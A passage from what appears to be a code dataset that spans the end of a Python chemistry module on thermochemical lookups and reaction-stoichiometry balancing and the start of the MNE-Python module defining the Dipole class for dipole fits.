-----\n Sources are:\n\n * 'CRC', from the CRC handbook\n\n Examples\n --------\n >>> S0l('7439-97-6') # Mercury\n 75.9\n\n See Also\n --------\n S0l_methods\n\n References\n ----------\n .. [1] Haynes, W.M., Thomas J. Bruno, and David R. Lide. CRC Handbook of\n Chemistry and Physics. [Boca Raton, FL]: CRC press, 2014.\n '''\n if dr.USE_CONSTANTS_DATABASE and method is None:\n val, found = database_constant_lookup(CASRN, 'S0l')\n if found: return val\n if not _reaction_data_loaded: _load_reaction_data()\n if method:\n return retrieve_from_df_dict(S0l_sources, CASRN, 'S0l', method)\n else:\n return retrieve_any_from_df_dict(S0l_sources, CASRN, 'S0l')\n\nS0g_all_methods = (CRC, miscdata.WEBBOOK, miscdata.JANAF, YAWS)\n\"\"\"Tuple of method name keys. See the `S0g` for the actual references\"\"\"\n\n@mark_numba_incompatible\ndef S0g_methods(CASRN):\n \"\"\"Return all methods available to obtain the S0g for the desired chemical.\n\n Parameters\n ----------\n CASRN : str\n CASRN, [-]\n\n Returns\n -------\n methods : list[str]\n Methods which can be used to obtain the S0g with the given\n inputs.\n\n See Also\n --------\n S0g\n \"\"\"\n if not _reaction_data_loaded: _load_reaction_data()\n return list_available_methods_from_df_dict(S0g_sources, CASRN, 'S0g')\n\n@mark_numba_incompatible\ndef S0g(CASRN, method=None):\n r'''This function handles the retrieval of a chemical's absolute\n entropy at a reference temperature of 298.15 K and pressure of 1 bar,\n in the ideal gas state.\n\n Lookup is based on CASRNs. Will automatically select a data\n source to use if no method is provided; returns None if the data is not\n available.\n\n Parameters\n ----------\n CASRN : str\n CASRN [-]\n\n Returns\n -------\n S0g : float\n Ideal gas standard absolute entropy of compound, [J/mol/K]\n\n Other Parameters\n ----------------\n method : string, optional\n A string for the method name to use, as defined in the variable,\n `S0g_all_methods`\n\n Notes\n -----\n Function has data for approximately 5400 chemicals. Sources are:\n\n * 'CRC', from the CRC handbook (520 values)\n * 'YAWS', a large compillation of values, mostly estimated (4890 values)\n * 'WEBBOOK', a NIST resource [3]_ containing mostly experimental\n and averaged values\n\n Examples\n --------\n >>> S0g('67-56-1')\n 239.9\n >>> S0g('67-56-1', method='YAWS')\n 239.88\n\n See Also\n --------\n S0g_methods\n\n References\n ----------\n .. [1] Haynes, W.M., Thomas J. Bruno, and David R. Lide. CRC Handbook of\n Chemistry and Physics. [Boca Raton, FL]: CRC press, 2014.\n .. [2] Yaws, Carl L. Thermophysical Properties of Chemicals and\n Hydrocarbons, Second Edition. Amsterdam Boston: Gulf Professional\n Publishing, 2014.\n .. [3] Shen, V.K., Siderius, D.W., Krekelberg, W.P., and Hatch, H.W., Eds.,\n NIST WebBook, NIST, http://doi.org/10.18434/T4M88Q\n '''\n if dr.USE_CONSTANTS_DATABASE and method is None:\n val, found = database_constant_lookup(CASRN, 'S0g')\n if found: return val\n if not _reaction_data_loaded: _load_reaction_data()\n if method:\n return retrieve_from_df_dict(S0g_sources, CASRN, 'S0g', method)\n else:\n return retrieve_any_from_df_dict(S0g_sources, CASRN, 'S0g')\n\n\n# %% Converter functions\n\ndef Hf_basis_converter(Hvapm, Hf_liq=None, Hf_gas=None):\n r'''This function converts a liquid or gas enthalpy of formation to the\n other. This is useful, as thermodynamic packages often work with ideal-\n gas as the reference state and require ideal-gas enthalpies of formation.\n\n Parameters\n ----------\n Hvapm : float\n Molar enthalpy of vaporization of compound at 298.15 K or (unlikely)\n the reference temperature, [J/mol]\n Hf_liq : float, optional\n Enthalpy of formation of the compound in its liquid state, [J/mol]\n Hf_gas : float, optional\n Enthalpy of formation of the compound in its ideal-gas state, [J/mol]\n\n Returns\n -------\n Hf_calc : float, optional\n Enthalpy of formation of the compound in the other state to the one\n provided, [J/mol]\n\n Notes\n -----\n\n Examples\n --------\n Calculate the ideal-gas enthalpy of formation for water, from its standard-\n state (liquid) value:\n\n >>> Hf_basis_converter(44018, Hf_liq=-285830)\n -241812\n\n Calculate the standard-state (liquid) enthalpy of formation for water, from\n its ideal-gas value:\n\n >>> Hf_basis_converter(44018, Hf_gas=-241812)\n -285830\n '''\n if Hf_liq is None and Hf_gas is None:\n raise ValueError(\"Provide either a liquid or a gas enthalpy of formation\")\n if Hvapm is None or Hvapm < 0.0:\n raise ValueError(\"Enthalpy of formation unknown or zero\")\n if Hf_liq is None:\n return Hf_gas - Hvapm\n else:\n return Hf_liq + Hvapm\n\ndef Gibbs_formation(dHf, S0_abs, dHfs_std, S0_abs_elements, coeffs_elements,\n T_ref=298.15):\n r'''This function calculates the Gibbs free energy of formation of a\n compound, from its constituent elements.\n\n The calculated value will be for a \"standard-state\" value if `dHf` and\n `S0_abs` are provided in the standard state; or it will be in an\n \"ideal gas\" basis if they are both for an ideal gas. For compounds which\n are gases at STP, the two values are the same.\n\n Parameters\n ----------\n dHf : float\n Molar enthalpy of formation of the created compound, [J/mol]\n S0_abs : float\n Absolute molar entropy of the created compound at the reference\n temperature, [J/mol/K]\n dHfs_std : list[float]\n List of standard molar enthalpies of formation of all elements used in\n the formation of the created compound, [J/mol]\n S0_abs_elements : list[float]\n List of standard absolute molar entropies at the reference temperature\n of all elements used in the formation of the created compound,\n [J/mol/K]\n coeffs_elements : list[float]\n List of coefficients for each compound (i.e. 1 for C, 2 for H2 if the\n target is methane), in the same order as `dHfs_std` and\n `S0_abs_elements`, [-]\n T_ref : float, optional\n The standard state temperature, default 298.15 K; few values are\n tabulated at other temperatures, [-]\n\n Returns\n -------\n dGf : float\n Gibbs free energy of formation for the created compound, [J/mol]\n\n Notes\n -----\n Be careful for elements like Bromine - is the tabulated value for Br2 or\n Br?\n\n Examples\n --------\n Calculate the standard-state Gibbs free energy of formation for water,\n using water's standard state heat of formation and absolute entropy\n at 298.15 K:\n\n >>> Gibbs_formation(-285830, 69.91, [0, 0], [130.571, 205.147], [1, .5])\n -237161.633825\n\n Calculate the ideal-gas state Gibbs free energy of formation for water,\n using water's ideal-gas state heat of formation and absolute entropy\n at 298.15 K as a gas:\n\n >>> Gibbs_formation(-241818, 188.825, [0, 0], [130.571, 205.147], [1, .5])\n -228604.141075\n\n Calculate the Gibbs free energy of formation for CBrF3 (it is a gas at STP,\n so its standard-state and ideal-gas state values are the same) at 298.15 K:\n\n >>> Gibbs_formation(-648980, 297.713, [0, 0, 0], [5.74, 152.206, 202.789], [1, .5, 1.5])\n -622649.329975\n\n Note in the above calculation that the Bromine's `S0` and `Hf` are for Br2;\n and that the value for Bromine as a liquid, which is its standard state,\n is used.\n\n References\n ----------\n .. [1] \"Standard Gibbs Free Energy of Formation Calculations Chemistry\n Tutorial.\" Accessed March, 2019. https://www.ausetute.com.au/gibbsform.html.\n '''\n N = len(coeffs_elements)\n dH = dHf\n dS = S0_abs\n for i in range(N):\n dH -= dHfs_std[i]*coeffs_elements[i]\n dS -= S0_abs_elements[i]*coeffs_elements[i]\n return dH - T_ref*dS\n\ndef entropy_formation(Hf, Gf, T_ref=298.15):\n r'''This function calculates the entropy of formation of a\n compound, from its constituent elements.\n\n The calculated value will be for a \"standard-state\" value if `Hf` and\n `Gf` are provided in the standard state; or it will be in an\n \"ideal gas\" basis if they are both for an ideal gas. For compounds which\n are gases at STP, the two values are the same.\n\n Parameters\n ----------\n Hf : float\n Molar enthalpy of formation of the compound, [J/mol]\n Gf : float\n Molar Gibbs free energy of formation of the compound, [J/mol]\n T_ref : float, optional\n The standard state temperature, default 298.15 K; few values are\n tabulated at other temperatures, [-]\n\n Returns\n -------\n S0 : float\n Entropy of formation of the compound, [J/mol/K]\n\n Notes\n -----\n\n Examples\n --------\n Entropy of formation of methane:\n\n >>> entropy_formation(Hf=-74520, Gf=-50490)\n -80.59701492537314\n\n Entropy of formation of water in ideal gas state:\n\n >>> entropy_formation(Hf=-241818, Gf=-228572)\n -44.427301693778304\n '''\n return (Hf - Gf)/T_ref\n\n\n# %% Stoichiometry functions\n\n@mark_numba_incompatible\ndef stoichiometric_matrix(atomss, reactants):\n r'''This function calculates a stoichiometric matrix of reactants and\n stoichiometric matrix, as required by a solver to compute the reation\n coefficients.\n\n Parameters\n ----------\n atomss : list[dict[(str, float)]]\n A list of dictionaties of (element, element_count) pairs for each\n chemical, [-]\n reactants : list[bool]\n List of booleans indicating whether each chemical is a reactant (True)\n or a product (False), [-]\n\n Returns\n -------\n matrix : list[list[float]]\n Chemical reaction matrix for further processing; rows contain element\n counts of each compound, and the columns represent each chemical, [-]\n\n Notes\n -----\n The rows of the matrix contain the element counts of each compound,\n and the columns represent each chemical.\n\n Examples\n --------\n MgO2 -> Mg + 1/2 O2\n (k=1)\n\n >>> stoichiometric_matrix([{'Mg': 1, 'O': 1}, {'Mg': 1}, {'O': 2}], [True, False, False])\n [[1, -1, 0], [1, 0, -2]]\n\n\n Cl2 + propylene -> allyl chloride + HCl\n\n >>> stoichiometric_matrix([{'Cl': 2}, {'C': 3, 'H': 6}, {'C': 3, 'Cl': 1, 'H': 5}, {'Cl': 1, 'H': 1}], [True, True, False, False, False])\n [[0, 3, -3, 0], [2, 0, -1, -1], [0, 6, -5, -1]]\n\n\n Al + 4HNO3 -> Al(NO3)3 + NO + 2H2O\n (k=1)\n\n >>> stoichiometric_matrix([{'Al': 1}, {'H': 1, 'N': 1, 'O': 3}, {'Al': 1, 'N': 3, 'O': 9}, {'N': 1, 'O': 1}, {'H': 2, 'O': 1}], [True, True, False, False, False])\n [[1, 0, -1, 0, 0], [0, 1, 0, 0, -2], [0, 1, -3, -1, 0], [0, 3, -9, -1, -1]]\n\n 4Fe + 3O2 -> 2(Fe2O3)\n (k=2)\n\n >>> stoichiometric_matrix([{'Fe': 1}, {'O': 2}, {'Fe':2, 'O': 3}], [True, True, False])\n [[1, 0, -2], [0, 2, -3]]\n\n\n 4NH3 + 5O2 -> 4NO + 6(H2O)\n (k=4)\n\n >>> stoichiometric_matrix([{'N': 1, 'H': 3}, {'O': 2}, {'N': 1, 'O': 1}, {'H': 2, 'O': 1}], [True, True, False, False])\n [[3, 0, 0, -2], [1, 0, -1, 0], [0, 2, -1, -1]]\n\n\n No unique solution:\n C2H5NO2 + C3H7NO3 + 2C6H14N4O2 + 3C5H9NO2 + 2C9H11NO2 -> 8H2O + C50H73N15O11\n\n >>> stoichiometric_matrix([{'C': 2, 'H': 5, 'N': 1, 'O': 2}, {'C': 3, 'H': 7, 'N': 1, 'O': 3}, {'C': 6, 'H': 14, 'N': 4, 'O': 2}, {'C': 5, 'H': 9, 'N': 1, 'O': 2}, {'C': 9, 'H': 11, 'N': 1, 'O': 2}, {'H': 2, 'O': 1}, {'C': 50, 'H': 73, 'N': 15, 'O': 11}], [True, True, True, True, True, False, False])\n [[2, 3, 6, 5, 9, 0, -50], [5, 7, 14, 9, 11, -2, -73], [1, 1, 4, 1, 1, 0, -15], [2, 3, 2, 2, 2, -1, -11]]\n\n References\n ----------\n .. [1] Sen, S. K., Hans Agarwal, and Sagar Sen. \"Chemical Equation\n Balancing: An Integer Programming Approach.\" Mathematical and Computer\n Modelling 44, no. 7 (October 1, 2006): 678-91.\n https://doi.org/10.1016/j.mcm.2006.02.004.\n .. [2] URAVNOTE, NOVOODKRITI PARADOKSI V. TEORIJI, and ENJA KEMIJSKIH\n REAKCIJ. \"New Discovered Paradoxes in Theory of Balancing Chemical\n Reactions.\" Materiali in Tehnologije 45, no. 6 (2011): 503-22.\n '''\n n_compounds = len(atomss)\n elements = set()\n for atoms in atomss:\n elements.update(atoms.keys())\n elements = list(elements)\n elements.sort() # Ensure reproducibility\n n_elements = len(elements)\n\n\n matrix = [[0]*n_compounds for _ in range(n_elements)]\n element_to_row = {ele: matrix[idx] for idx, ele in enumerate(elements)}\n for i, atoms in enumerate(atomss):\n if reactants[i]:\n for k, v in atoms.items():\n element_to_row[k][i] = v\n else:\n for k, v in atoms.items():\n element_to_row[k][i] = -v\n return matrix\n\ndef balance_stoichiometry(matrix, rounding=9, allow_fractional=False):\n r'''This function balances a chemical reaction.\n\n Parameters\n ----------\n matrix : list[list[float]]\n Chemical reaction matrix for further processing; rows contain element\n counts of each compound, and the columns represent each chemical, [-]\n\n Returns\n -------\n coefficients : list[float]\n Balanced coefficients; all numbers are positive, [-]\n\n Notes\n -----\n Balance the reaction 4 NH3 + 5 O2 = 4 NO + 6 H2O, without knowing the\n coefficients:\n\n >>> matrix = stoichiometric_matrix([{'N': 1, 'H': 3}, {'O': 2}, {'N': 1, 'O': 1}, {'H': 2, 'O': 1}], [True, True, False, False])\n >>> matrix\n [[3, 0, 0, -2], [1, 0, -1, 0], [0, 2, -1, -1]]\n >>> balance_stoichiometry(matrix)\n [4.0, 5.0, 4.0, 6.0]\n >>> balance_stoichiometry(matrix, allow_fractional=True)\n [1.0, 1.25, 1.0, 1.5]\n\n This algorithm relies on `scipy`.\n The behavior of this function for inputs which do not have a unique\n solution is undefined.\n\n This algorithm may suffer from floating point issues. If you believe there\n is an error in the result, please report your reaction to the developers.\n\n References\n ----------\n .. [1] Sen, S. K., Hans Agarwal, and Sagar Sen. \"Chemical Equation\n Balancing: An Integer Programming Approach.\" Mathematical and Computer\n Modelling 44, no. 7 (October 1, 2006): 678-91.\n https://doi.org/10.1016/j.mcm.2006.02.004.\n .. [2] URAVNOTE, NOVOODKRITI PARADOKSI V. TEORIJI, and ENJA KEMIJSKIH\n REAKCIJ. \"New Discovered Paradoxes in Theory of Balancing Chemical\n Reactions.\" Materiali in Tehnologije 45, no. 6 (2011): 503-22.\n '''\n import scipy.linalg\n done = scipy.linalg.null_space(matrix)\n if len(done[0]) > 1:\n raise ValueError(\"No solution\")\n d = done[:, 0].tolist()\n\n min_value_inv = 1.0/min(d)\n d = [i*min_value_inv for i in d]\n\n if not allow_fractional:\n from fractions import Fraction\n max_denominator = 10**rounding\n fs = [Fraction(x).limit_denominator(max_denominator=max_denominator) for x in d]\n all_denominators = {i.denominator for i in fs}\n if 1 in all_denominators:\n all_denominators.remove(1)\n\n for den in sorted(list(all_denominators), reverse=True):\n fs = [num*den for num in fs]\n if all(i.denominator == 1 for i in fs):\n break\n\n # May have gone too far\n return [float(i) for i in fs]\n# done = False\n# for i in range(100):\n# for c in d:\n# ratio = c.as_integer_ratio()[1]\n# if ratio != 1:\n# d = [di*ratio for di in d]\n# break\n# done = True\n# if done:\n# break\n#\n# d_as_int = [int(i) for i in d]\n# for i, j in zip(d, d_as_int):\n# if i != j:\n# raise ValueError(\"Could not find integer coefficients (%s, %s)\" %(i, j))\n# return d_as_int\n else:\n d = [round(i, rounding + int(ceil(log10(abs(i))))) for i in d]\n return d\n\ndef stoichiometry_molar_to_mass(coefficients, MWs):\n r'''This function translates molar stoichiometric\n coefficients (most commonly used) into less commonly\n used mass-based stoichiometric coefficients.\n\n Parameters\n ----------\n coefficients : list[float]\n Molar balanced stoichiometric coefficients; all numbers are positive, [-]\n MWs : list[float]\n Molecular weights of all species in reaction ordered in\n the same way as the coefficients, [g/mol]\n\n Returns\n -------\n mass_coefficients : list[float]\n Mass-based balanced coefficients; all numbers are positive, [-]\n\n Notes\n -----\n Note that mass-based reactions are usually not normalized to integers.\n Mass-based coefficients are used with components that don't have well defined formulas.\n\n Calculate the mass based coefficients for the reaction 4 NH3 + 5 O2 = 4 NO + 6 H2O:\n\n >>> matrix = stoichiometric_matrix([{'N': 1, 'H': 3}, {'O': 2}, {'N': 1, 'O': 1}, {'H': 2, 'O': 1}], [True, True, False, False])\n >>> coeffs = balance_stoichiometry(matrix)\n >>> stoichiometry_molar_to_mass(coeffs, [17.03052, 31.9988, 30.0061, 18.01528])\n [68.12208, 159.994, 120.0244, 108.09168]\n '''\n return [c*MW for c, MW in zip(coefficients, MWs)]\n\ndef stoichiometry_mass_to_molar(mass_coefficients, MWs):\n r'''This function translates mass stoichiometric coefficients into the \n more commonly used mole-based stoichiometric coefficients.\n\n Parameters\n ----------\n mass_coefficients : list[float]\n Mass-based balanced coefficients; all numbers are positive, [-]\n MWs : list[float]\n Molecular weights of all species in reaction ordered in\n the same way as the coefficients, [g/mol]\n\n Returns\n -------\n coefficients : list[float]\n Molar balanced stoichiometric coefficients; all numbers are positive, [-]\n\n Notes\n -----\n >>> stoichiometry_mass_to_molar([68.12208, 159.994, 120.0244, 108.09168], [17.03052, 31.9988, 30.0061, 18.01528])\n [4.0, 5.0, 4.0, 6.0]\n '''\n return [c/MW for c, MW in zip(mass_coefficients, MWs)]\n\ndef stoichiometry_MW_error(coefficients, MWs, reactants):\n r'''This function calculates the molecular weight imbalance\n of a reaction given the coefficients and molecular weights of\n the involved components, and their statuses as reactants or product.\n\n Parameters\n ----------\n coefficients : list[float]\n Molar balanced stoichiometric coefficients; all numbers are positive, [-]\n MWs : list[float]\n Molecular weights of all species in reaction ordered in\n the same way as the coefficients, [g/mol]\n reactants : list[bool]\n List of booleans indicating whether each chemical is a reactant (True)\n or a product (False), [-]\n\n Returns\n -------\n MW_error : float\n The molecular weight error, [g/mol]\n\n Notes\n -----\n A very small value may be returned for a properly balanced\n equation because of floating-point error.\n\n >>> stoichiometry_MW_error([4.0, 5.0, 4.0, 6.0], [17.03052, 31.9988, 30.0061, 18.01528], [True, True, False, False])\n 0.0\n '''\n reactant_MW = 0.0\n product_MW = 0.0\n for coeff, MW, stat in zip(coefficients, MWs, reactants):\n if stat:\n reactant_MW += coeff*MW\n else:\n product_MW += coeff*MW\n return reactant_MW - product_MW\n\ndef standard_formation_reaction(atoms):\n r'''This function calculates the standard reaction to reduce a chemical\n compound to its standard state elements. Any hydrogen in the compound\n is transformed to H2; oxygen to O2; carbon to graphite (single C), calcium\n to Ca, etc.\n\n Parameters\n ----------\n atoms : dict[(str, float)]\n A dictionary of (element, element_count) pairs for the reacting\n compound, [-]\n\n Returns\n -------\n reactant_coeff : float\n The coefficient of the reactant; for compounds like CO that do not\n divide evenly, this will be something other than 1 [-]\n elemental_counts : list[float]\n Balanced coefficients of each of the products, [-]\n product_atomss : list[dict[(str, float)]]\n A list of dictionaries of the elements produced, and how many atoms\n of each element are in one unit of the element in its\n standard form. Each dictionary contains a single key:value, with the key\n being the element and the value being either 1 or 2 depending on the\n standard state [-]\n\n Examples\n --------\n Methane\n\n >>> standard_formation_reaction({'C': 1, 'H': 4})\n (1.0, [1.0, 2.0], [{'C': 1}, {'H': 2}])\n\n Carbon monoxide\n\n >>> standard_formation_reaction({'C': 1, 'O': 1})\n (2.0, [2.0, 1.0], [{'C': 1}, {'O': 2}])\n\n Methylamine\n\n >>> standard_formation_reaction({'C': 1, 'H': 5, 'N': 1})\n (2.0, [2.0, 5.0, 1.0], [{'C': 1}, {'H': 2}, {'N': 2}])\n\n '''\n product_atomss = []\n reactants = []\n for atom in atoms:\n ele = periodic_table[atom]\n ele_atoms = simple_formula_parser(ele.formula_standard)\n product_atomss.append(ele_atoms)\n reactants.append(True)\n\n atoms_to_process = product_atomss + [atoms]\n reactants.append(False)\n matrix = stoichiometric_matrix(atoms_to_process, reactants)\n coeffs = balance_stoichiometry(matrix)\n reactant_coeff = coeffs[-1]\n elemental_counts = coeffs[:-1]\n return reactant_coeff, elemental_counts, product_atomss\n","repo_name":"CalebBell/chemicals","sub_path":"chemicals/reaction.py","file_name":"reaction.py","file_ext":"py","file_size_in_byte":38094,"program_lang":"python","lang":"en","doc_type":"code","stars":146,"dataset":"github-code","pt":"71"} +{"seq_id":"19286365775","text":"import functools\nimport re\nfrom copy import deepcopy\nfrom functools import partial\n\nimport numpy as np\nfrom scipy.linalg import eigh\nfrom scipy.optimize import fmin_cobyla\n\nfrom ._fiff.constants import FIFF\nfrom ._fiff.pick import pick_types\nfrom ._fiff.proj import _needs_eeg_average_ref_proj, make_projector\nfrom ._freesurfer import _get_aseg, head_to_mni, head_to_mri, read_freesurfer_lut\nfrom .bem import _bem_find_surface, _bem_surf_name, _fit_sphere\nfrom .cov import _ensure_cov, compute_whitener\nfrom .evoked import _aspect_rev, _read_evoked, _write_evokeds\nfrom .fixes import _safe_svd, pinvh\nfrom .forward._compute_forward import _compute_forwards_meeg, _prep_field_computation\nfrom .forward._make_forward import (\n _get_trans,\n _prep_eeg_channels,\n _prep_meg_channels,\n _setup_bem,\n)\nfrom .parallel import parallel_func\nfrom .source_space._source_space import SourceSpaces, _make_volume_source_space\nfrom .surface import _compute_nearest, _points_outside_surface, transform_surface_to\nfrom .transforms import _coord_frame_name, _print_coord_trans, apply_trans\nfrom .utils import (\n ExtendedTimeMixin,\n TimeMixin,\n _check_fname,\n _check_option,\n _get_blas_funcs,\n _pl,\n _repeated_svd,\n _svd_lwork,\n _time_mask,\n _validate_type,\n _verbose_safe_false,\n check_fname,\n copy_function_doc_to_method_doc,\n fill_doc,\n logger,\n verbose,\n warn,\n)\nfrom .viz import plot_dipole_amplitudes, plot_dipole_locations\nfrom .viz.evoked import _plot_evoked\n\n\n@fill_doc\nclass Dipole(TimeMixin):\n \"\"\"Dipole class for sequential dipole fits.\n\n .. note::\n This class should usually not be instantiated directly via\n ``mne.Dipole(...)``. Instead, use one of the functions\n listed in the See Also section below.\n\n Used to store positions, orientations, amplitudes, times, goodness of fit\n of dipoles, typically obtained with Neuromag/xfit, mne_dipole_fit\n or certain inverse solvers. Note that dipole position vectors are given in\n the head coordinate frame.\n\n Parameters\n ----------\n times : array, shape (n_dipoles,)\n The time instants at which each dipole was fitted (s).\n pos : array, shape (n_dipoles, 3)\n The dipoles positions (m) in head coordinates.\n amplitude : array, shape (n_dipoles,)\n The amplitude of the dipoles (Am).\n ori : array, shape (n_dipoles, 3)\n The dipole orientations (normalized to unit length).\n gof : array, shape (n_dipoles,)\n The goodness of fit.\n name : str | None\n Name of the dipole.\n conf : dict\n Confidence limits in dipole orientation for \"vol\" in m^3 (volume),\n \"depth\" in m (along the depth axis), \"long\" in m (longitudinal axis),\n \"trans\" in m (transverse axis), \"qlong\" in Am, and \"qtrans\" in Am\n (currents). The current confidence limit in the depth direction is\n assumed to be zero (although it can be non-zero when a BEM is used).\n\n .. versionadded:: 0.15\n khi2 : array, shape (n_dipoles,)\n The χ^2 values for the fits.\n\n .. versionadded:: 0.15\n nfree : array, shape (n_dipoles,)\n The number of free parameters for each fit.\n\n .. versionadded:: 0.15\n %(verbose)s\n\n See Also\n --------\n fit_dipole\n DipoleFixed\n read_dipole\n\n Notes\n -----\n This class is for sequential dipole fits, where the position\n changes as a function of time. For fixed dipole fits, where the\n position is fixed as a function of time, use :class:`mne.DipoleFixed`.\n \"\"\"\n\n @verbose\n def __init__(\n self,\n times,\n pos,\n amplitude,\n ori,\n gof,\n name=None,\n conf=None,\n khi2=None,\n nfree=None,\n *,\n verbose=None,\n ):\n self._set_times(np.array(times))\n self.pos = np.array(pos)\n self.amplitude = np.array(amplitude)\n self.ori = np.array(ori)\n self.gof = np.array(gof)\n self.name = name\n self.conf = dict()\n if conf is not None:\n for key, value in conf.items():\n self.conf[key] = np.array(value)\n self.khi2 = np.array(khi2) if khi2 is not None else None\n self.nfree = np.array(nfree) if nfree is not None else None\n\n def __repr__(self): # noqa: D105\n s = \"n_times : %s\" % len(self.times)\n s += \", tmin : %0.3f\" % np.min(self.times)\n s += \", tmax : %0.3f\" % np.max(self.times)\n return \"\" % s\n\n @verbose\n def save(self, fname, overwrite=False, *, verbose=None):\n \"\"\"Save dipole in a ``.dip`` or ``.bdip`` file.\n\n Parameters\n ----------\n fname : path-like\n The name of the ``.dip`` or ``.bdip`` file.\n %(overwrite)s\n\n .. versionadded:: 0.20\n %(verbose)s\n\n Notes\n -----\n .. versionchanged:: 0.20\n Support for writing bdip (Xfit binary) files.\n \"\"\"\n # obligatory fields\n fname = _check_fname(fname, overwrite=overwrite)\n if fname.suffix == \".bdip\":\n _write_dipole_bdip(fname, self)\n else:\n _write_dipole_text(fname, self)\n\n @verbose\n def crop(self, tmin=None, tmax=None, include_tmax=True, verbose=None):\n \"\"\"Crop data to a given time interval.\n\n Parameters\n ----------\n tmin : float | None\n Start time of selection in seconds.\n tmax : float | None\n End time of selection in seconds.\n %(include_tmax)s\n %(verbose)s\n\n Returns\n -------\n self : instance of Dipole\n The cropped instance.\n \"\"\"\n sfreq = None\n if len(self.times) > 1:\n sfreq = 1.0 / np.median(np.diff(self.times))\n mask = _time_mask(\n self.times, tmin, tmax, sfreq=sfreq, include_tmax=include_tmax\n )\n self._set_times(self.times[mask])\n for attr in (\"pos\", \"gof\", \"amplitude\", \"ori\", \"khi2\", \"nfree\"):\n if getattr(self, attr) is not None:\n setattr(self, attr, getattr(self, attr)[mask])\n for key in self.conf.keys():\n self.conf[key] = self.conf[key][mask]\n return self\n\n def copy(self):\n \"\"\"Copy the Dipoles object.\n\n Returns\n -------\n dip : instance of Dipole\n The copied dipole instance.\n \"\"\"\n return deepcopy(self)\n\n @verbose\n @copy_function_doc_to_method_doc(plot_dipole_locations)\n def plot_locations(\n self,\n trans,\n subject,\n subjects_dir=None,\n mode=\"orthoview\",\n coord_frame=\"mri\",\n idx=\"gof\",\n show_all=True,\n ax=None,\n block=False,\n show=True,\n scale=None,\n color=None,\n *,\n highlight_color=\"r\",\n fig=None,\n title=None,\n head_source=\"seghead\",\n surf=\"pial\",\n width=None,\n verbose=None,\n ):\n return plot_dipole_locations(\n self,\n trans,\n subject,\n subjects_dir,\n mode,\n coord_frame,\n idx,\n show_all,\n ax,\n block,\n show,\n scale=scale,\n color=color,\n highlight_color=highlight_color,\n fig=fig,\n title=title,\n head_source=head_source,\n surf=surf,\n width=width,\n )\n\n @verbose\n def to_mni(self, subject, trans, subjects_dir=None, verbose=None):\n \"\"\"Convert dipole location from head to MNI coordinates.\n\n Parameters\n ----------\n %(subject)s\n %(trans_not_none)s\n %(subjects_dir)s\n %(verbose)s\n\n Returns\n -------\n pos_mni : array, shape (n_pos, 3)\n The MNI coordinates (in mm) of pos.\n \"\"\"\n mri_head_t, trans = _get_trans(trans)\n return head_to_mni(\n self.pos, subject, mri_head_t, subjects_dir=subjects_dir, verbose=verbose\n )\n\n @verbose\n def to_mri(self, subject, trans, subjects_dir=None, verbose=None):\n \"\"\"Convert dipole location from head to MRI surface RAS coordinates.\n\n Parameters\n ----------\n %(subject)s\n %(trans_not_none)s\n %(subjects_dir)s\n %(verbose)s\n\n Returns\n -------\n pos_mri : array, shape (n_pos, 3)\n The Freesurfer surface RAS coordinates (in mm) of pos.\n \"\"\"\n mri_head_t, trans = _get_trans(trans)\n return head_to_mri(\n self.pos,\n subject,\n mri_head_t,\n subjects_dir=subjects_dir,\n verbose=verbose,\n kind=\"mri\",\n )\n\n @verbose\n def to_volume_labels(\n self,\n trans,\n subject=\"fsaverage\",\n aseg=\"aparc+aseg\",\n subjects_dir=None,\n verbose=None,\n ):\n \"\"\"Find an ROI in atlas for the dipole positions.\n\n Parameters\n ----------\n %(trans)s\n\n .. versionchanged:: 0.19\n Support for 'fsaverage' argument.\n %(subject)s\n %(aseg)s\n %(subjects_dir)s\n %(verbose)s\n\n Returns\n -------\n labels : list\n List of anatomical region names from anatomical segmentation atlas.\n\n Notes\n -----\n .. versionadded:: 0.24\n \"\"\"\n aseg_img, aseg_data = _get_aseg(aseg, subject, subjects_dir)\n mri_vox_t = np.linalg.inv(aseg_img.header.get_vox2ras_tkr())\n\n # Load freesurface atlas LUT\n lut_inv = read_freesurfer_lut()[0]\n lut = {v: k for k, v in lut_inv.items()}\n\n # transform to voxel space from head space\n pos = self.to_mri(subject, trans, subjects_dir=subjects_dir, verbose=verbose)\n pos = apply_trans(mri_vox_t, pos)\n pos = np.rint(pos).astype(int)\n\n # Get voxel value and label from LUT\n labels = [lut.get(aseg_data[tuple(coord)], \"Unknown\") for coord in pos]\n return labels\n\n def plot_amplitudes(self, color=\"k\", show=True):\n \"\"\"Plot the dipole amplitudes as a function of time.\n\n Parameters\n ----------\n color : matplotlib color\n Color to use for the trace.\n show : bool\n Show figure if True.\n\n Returns\n -------\n fig : matplotlib.figure.Figure\n The figure object containing the plot.\n \"\"\"\n return plot_dipole_amplitudes([self], [color], show)\n\n def __getitem__(self, item):\n \"\"\"Get a time slice.\n\n Parameters\n ----------\n item : array-like or slice\n The slice of time points to use.\n\n Returns\n -------\n dip : instance of Dipole\n The sliced dipole.\n \"\"\"\n if isinstance(item, int): # make sure attributes stay 2d\n item = [item]\n\n selected_times = self.times[item].copy()\n selected_pos = self.pos[item, :].copy()\n selected_amplitude = self.amplitude[item].copy()\n selected_ori = self.ori[item, :].copy()\n selected_gof = self.gof[item].copy()\n selected_name = self.name\n selected_conf = dict()\n for key in self.conf.keys():\n selected_conf[key] = self.conf[key][item]\n selected_khi2 = self.khi2[item] if self.khi2 is not None else None\n selected_nfree = self.nfree[item] if self.nfree is not None else None\n return Dipole(\n selected_times,\n selected_pos,\n selected_amplitude,\n selected_ori,\n selected_gof,\n selected_name,\n selected_conf,\n selected_khi2,\n selected_nfree,\n )\n\n def __len__(self):\n \"\"\"Return the number of dipoles.\n\n Returns\n -------\n len : int\n The number of dipoles.\n\n Examples\n --------\n This can be used as::\n\n >>> len(dipoles) # doctest: +SKIP\n 10\n \"\"\"\n return self.pos.shape[0]\n\n\ndef _read_dipole_fixed(fname):\n \"\"\"Read a fixed dipole FIF file.\"\"\"\n logger.info(\"Reading %s ...\" % fname)\n info, nave, aspect_kind, comment, times, data, _ = _read_evoked(fname)\n return DipoleFixed(info, data, times, nave, aspect_kind, comment=comment)\n\n\n@fill_doc\nclass DipoleFixed(ExtendedTimeMixin):\n \"\"\"Dipole class for fixed-position dipole fits.\n\n .. note::\n This class should usually not be instantiated directly\n via ``mne.DipoleFixed(...)``. Instead, use one of the functions\n listed in the See Also section below.\n\n Parameters\n ----------\n %(info_not_none)s\n data : array, shape (n_channels, n_times)\n The dipole data.\n times : array, shape (n_times,)\n The time points.\n nave : int\n Number of averages.\n aspect_kind : int\n The kind of data.\n 